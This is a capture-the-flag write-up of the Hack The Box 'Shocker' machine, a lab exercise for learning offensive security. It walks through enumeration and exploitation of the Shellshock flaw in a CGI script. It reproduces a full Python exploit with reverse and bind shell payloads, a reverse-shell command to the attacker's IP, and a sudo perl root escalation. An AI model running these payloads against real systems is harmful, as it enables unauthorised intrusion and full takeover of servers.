Shocker Writeup
Introduction :
Shocker is an easy Linux Box released back in September 2017. It features the well known shellshock vulnerability.
Part 1 : Initial Enumeration
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ nihilist [ 10.10.14.48/23 ] [~] → nmap 10.10.10.56 -sC -sV
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-16 10:12 CET
Nmap scan report for 10.10.10.56
Host is up (0.065s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesnt have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.43 seconds
Part 2 : Getting User Access
Our nmap result tells us that port 80 seems to be serving an Apache httpd 2.4.18 service, let's see if we can dig in a little more information...
λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk http://10.10.10.56/
* Trying 10.10.10.56:80...
* TCP_NODELAY set
* Connected to 10.10.10.56 (10.10.10.56) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.56
> User-Agent: curl/7.67.0
> Accept: */ *
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 16 Nov 2019 09:25:00 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT
< ETag: "89-559ccac257884"
< Accept-Ranges: bytes
< Content-Length: 137
< Vary: Accept-Encoding
< Content-Type: text/html
<
<****!DOCTYPE html> <****html> <****body> <****h2>Dont Bug Me!** h2>
<****img src="bug.jpg" alt="bug" style="width:450px;height:350px;"> <****/body> <****/html>
* Connection #0 to host 10.10.10.56 left intact
Looking at the results , the URL http://10.10.10.56/ doesnt seem to yield that much results. Let's run the dirbusting command dirb to try to find out which directories are being hosted by the httpd service.
λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.56/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Nov 16 10:23:02 2019
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
+ http://10.10.10.56/index.md (CODE:200|SIZE:137)
+ http://10.10.10.56/server-status (CODE:403|SIZE:299)
-----------------
END_TIME: Sat Nov 16 10:26:12 2019
DOWNLOADED: 4612 - FOUND: 3
Dirbuster returned with 2 interesting results : /cgi-bin/ /server-status Although both of these seem to be returning the 403 Forbidden error. Let's see if we can find any good results within the /cgi-bin/ for example a .sh file, we will use dirbuster one more time using the common files txt wordlist.
λ root [ 10.10.14.48/23 ] [share/wordlists/dirb] → curl -vsk https://raw.githubusercontent.com/digination/dirbuster-ng/master/wordlists/common.txt > common.txt
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → dirb http://10.10.10.56/cgi-bin/ -w /usr/share/dirb/common.txt -X .sh
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Nov 16 10:52:59 2019
URL_BASE: http://10.10.10.56/cgi-bin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stoping on warning messages
EXTENSIONS_LIST: (.sh) | (.sh) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
+ http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118)
-----------------
END_TIME: Sat Nov 16 10:56:07 2019
DOWNLOADED: 4612 - FOUND: 1
Dirbuster found the user.sh file within the /cgi-bin/ folder ! Let's download it using the wget command, and print out it's content.
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → wget http://10.10.10.56/cgi-bin/user.sh
--2019-11-16 10:56:29-- http://10.10.10.56/cgi-bin/user.sh
Connecting to 10.10.10.56:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/x-sh]
Saving to: ‘user.sh’
user.sh [ <=> ] 118 --.-KB/s in 0.001s
2019-11-16 10:56:29 (195 KB/s) - ‘user.sh’ saved [118]
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cat user.sh
Content-Type: text/plain
Just an uptime test script
04:58:44 up 2:11, 0 users, load average: 0.01, 0.00, 0.00
This seems to ring a bell, this may in fact be the shellshock vulnerability ! We run a quick searchsploit to find which exploit number corresponds to the shellshock CVE.
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → searchsploit shellshock
------------------------------------------------------------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------ ----------------------------------------
Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection ( | exploits/cgi/remote/38849.rb
**Apache mod_cgi - 'Shellshock' Remote Command Injection | exploits/linux/remote/34900.py**
Bash - 'Shellshock' Environment Variables Command Injection | exploits/linux/remote/34766.php
Bash CGI - 'Shellshock' Remote Command Injection (Metasploit) | exploits/cgi/webapps/34895.rb
Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock) | exploits/hardware/remote/39568.py
GNU Bash - 'Shellshock' Environment Variable Command Injection | exploits/linux/remote/34765.txt
IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit | exploits/cgi/remote/39918.rb
NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock) | exploits/cgi/webapps/40213.txt
OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection | exploits/linux/remote/34879.txt
PHP < 5.6.2 - 'Shellshock' Safe Mode / Disable Functions Bypass / Command Inj | exploits/php/webapps/35146.txt
Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection | exploits/linux/remote/34896.py
RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection | exploits/linux/local/40938.py
Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Inject | exploits/cgi/webapps/39887.txt
TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Com | exploits/hardware/remote/40619.py
dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock) | exploits/linux/remote/36933.py
------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result
Seems like the exploit n° 34900 corresponds to the box that we have, Apache, mod_cgi, Shellshock let's run a quick locate and cp command to copy the script onto our current directory for further inspection.
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → locate 34900.py
/usr/share/exploitdb/exploits/linux/remote/34900.py
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cp /usr/share/exploitdb/exploits/linux/remote/34900.py .
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nano 34900.py
Here is the official python script that we could be using :
#! /usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sys
stop = False
proxyhost = ""
proxyport = 0
def usage():
print ("""
Usage : python2 exploit.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh
""")
sys.exit(0)
def exploit(lhost,lport,rhost,rport,payload,pages):
headers = {"Cookie": payload, "Referer": payload}
for page in pages:
if stop:
return
print ("[-] Trying exploit on : "+page)
if proxyhost != "":
c = httplib.HTTPConnection(proxyhost,proxyport)
c.request("GET","http://"+rhost+page,headers=headers)
res = c.getresponse()
else:
c = httplib.HTTPConnection(rhost)
c.request("GET",page,headers=headers)
res = c.getresponse()
if res.status == 404:
print( "[*] 404 on : "+page)
time.sleep(1)
args = {}
for arg in sys.argv[1:]:
ar = arg.split("=")
args[ar[0]] = ar[1]
try:
args['payload']
except:
usage()
if args['payload'] == 'reverse':
try:
lhost = args['lhost']
lport = int(args['lport'])
rhost = args['rhost']
payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
except:
usage()
elif args['payload'] == "bind":
try:
rhost = args['rhost']
rport = args['rport']
payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
except:
usage()
else:
print( "[*] Unsupported payload")
usage()
try:
pages = args['pages'].split(",")
except:
pass
if args['payload'] == 'reverse':
serversocket = socket(AF_INET, SOCK_STREAM)
buff = 1024
addr = (lhost,lport)
serversocket.bind(addr)
serversocket.listen(10)
print ("[!] Started reverse shell handler")
thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':
serversocket = socket(AF_INET, SOCK_STREAM)
addr = (rhost,int(rport))
thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))
buff = 1024
while True:
if args['payload'] == 'reverse':
clientsocket, clientaddr = serversocket.accept()
print ("[!] Successfully exploited")
print ("[!] Incoming connection from "+clientaddr[0])
stop = True
clientsocket.settimeout(3)
while True:
reply = raw_input(clientaddr[0]+"> ")
clientsocket.sendall(reply+"\n")
try:
data = clientsocket.recv(buff)
print (data)
except:
pass
if args['payload'] == 'bind':
try:
serversocket = socket(AF_INET, SOCK_STREAM)
time.sleep(1)
serversocket.connect(addr)
print ("[!] Successfully exploited")
print ("[!] Connected to "+rhost)
stop = True
serversocket.settimeout(3)
while True:
reply = raw_input(rhost+"> ")
serversocket.sendall(reply+"\n")
data = serversocket.recv(buff)
print( data)
except:
pass
If we wanted to execute the aforementionned python script, we would follow the syntax given in the script itself : python2 34900.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh Although we will go for another, more elaborate alternative which has been developped by ncc group.
λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → wget https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py
--2019-11-16 11:28:02-- https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17942 (18K) [text/plain]
Saving to: ‘shocker.py’
shocker.py 100%[===================================================================================================>] 17.52K --.-KB/s in 0.02s
2019-11-16 11:28:02 (828 KB/s) - ‘shocker.py’ saved [17942/17942]
λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py
.-. . .
( )| |
`-. |--. .-. .-.|.-. .-. .--.
( )| |( )( |-.'(.-' |
`-' ' `-`-' `-'' `-`--' v1.1
Tom Watson, tom.watson@nccgroup.trust
https://www.github.com/nccgroup/shocker
Released under the GNU Affero General Public License
(https://www.gnu.org/licenses/agpl-3.0.html)
usage: shocker.py [-h] (--Host HOST | --file FILE)
[--cgilist CGILIST | --cgi CGI] [--port PORT]
[--command COMMAND] [--proxy PROXY] [--ssl]
[--threads THREADS] [--verbose] [--debug]
shocker.py: error: one of the arguments --Host/-H --file/-f is required
As you can see it seems to have a simpler syntax for us to use. Let's test our second python script onto our target and see if we get any results. We will use the -H , --command, -c and --verbose flags.
λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/cat /etc/passwd" -c /cgi-bin/user.sh --verbose
.-. . .
( )| |
`-. |--. .-. .-.|.-. .-. .--.
( )| |( )( |-.'(.-' |
`-' ' `-`-' `-'' `-`--' v1.1
Tom Watson, tom.watson@nccgroup.trust
https://www.github.com/nccgroup/shocker
Released under the GNU Affero General Public License
(https://www.gnu.org/licenses/agpl-3.0.html)
[+] Single target '/cgi-bin/user.sh' being used
[+] Checking connectivity with target...
[I] Checking to see if 10.10.10.56 resolves...
[I] Resolved ok
[I] Checking to see if 10.10.10.56 is reachable on port 80...
[I] 10.10.10.56 seems reachable...
[+] Target was reachable
[+] Looking for vulnerabilities on 10.10.10.56:80
[I] Starting thread 1
[+] Finished host scan
[+] 1 potential target found, attempting exploits
[+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh
[I] Flag set to: V74T37Z64S0NDC600N7U
[I] Header is: Content-type
[I] Attack string is: () { :;}; echo; echo V74T37Z64S0NDC600N7U; /bin/cat /etc/passwd
[!] http://10.10.10.56:80/cgi-bin/user.sh looks vulnerable
[!] Response returned was:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash
[+] The following URLs appear to be exploitable:
[1] http://10.10.10.56:80/cgi-bin/user.sh
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: 0
Our exploit worked ! we have been able to print out the contents of the /etc/passwd file. Now let's try to see if we can get a reverse shell connection on our 1337th port. We start by using the netcat command ready with the -lvnp flags to catch the incoming connection, within a second terminal.
Terminal 2:
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337
Now all we have to do is use the previous shocker python script to tell the machine to send us a reverse shell connection on the correct port.
Terminal 1:
λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1" -c /cgi-bin/user.sh --verbose
.-. . .
( )| |
`-. |--. .-. .-.|.-. .-. .--.
( )| |( )( |-.'(.-' |
`-' ' `-`-' `-'' `-`--' v1.1
Tom Watson, tom.watson@nccgroup.trust
https://www.github.com/nccgroup/shocker
Released under the GNU Affero General Public License
(https://www.gnu.org/licenses/agpl-3.0.html)
[+] Single target '/cgi-bin/user.sh' being used
[+] Checking connectivity with target...
[I] Checking to see if 10.10.10.56 resolves...
[I] Resolved ok
[I] Checking to see if 10.10.10.56 is reachable on port 80...
[I] 10.10.10.56 seems reachable...
[+] Target was reachable
[+] Looking for vulnerabilities on 10.10.10.56:80
[I] Starting thread 1
[+] Finished host scan
[+] 1 potential target found, attempting exploits
[+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh
[I] Flag set to: ZS6W4FQLEFG9B7NYE0K9
[I] Header is: Content-type
[I] Attack string is: () { :;}; echo; echo ZS6W4FQLEFG9B7NYE0K9; /bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1
[I] http://10.10.10.56:80/cgi-bin/user.sh - timed out
[-] Not vulnerable
[-] All exploit attempts failed
The script tells us that it seems to have failed, Although it seems like our second terminal recieved the connection through the 1337 port.
Terminal 2:
λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337
Connection from 10.10.10.56:38116
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
shelly
shelly@Shocker:/usr/lib/cgi-bin$ uname -a
uname -a
Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
cat /home/shelly/user.txt
2eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
That's how you get the user flag ! Now let's try to escalate privileges onto the box.
Part 3 : Getting Root Access
First of all let's type the sudo -l command to see which commands could potentially be run as the root user.
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Seems like the perl command can be run as root ! let's test it.
shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'
sudo perl -e 'exec "/bin/sh";'
whoami
root
And that's it ! we now have an elevated privilege shell as the root user. All that's left to do now is to print the root flag.
cat /root/root.txt
52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Conclusion
Here we can see the progress graph :
Nihilist
8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o
7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8 Donate XMR to Nihilist: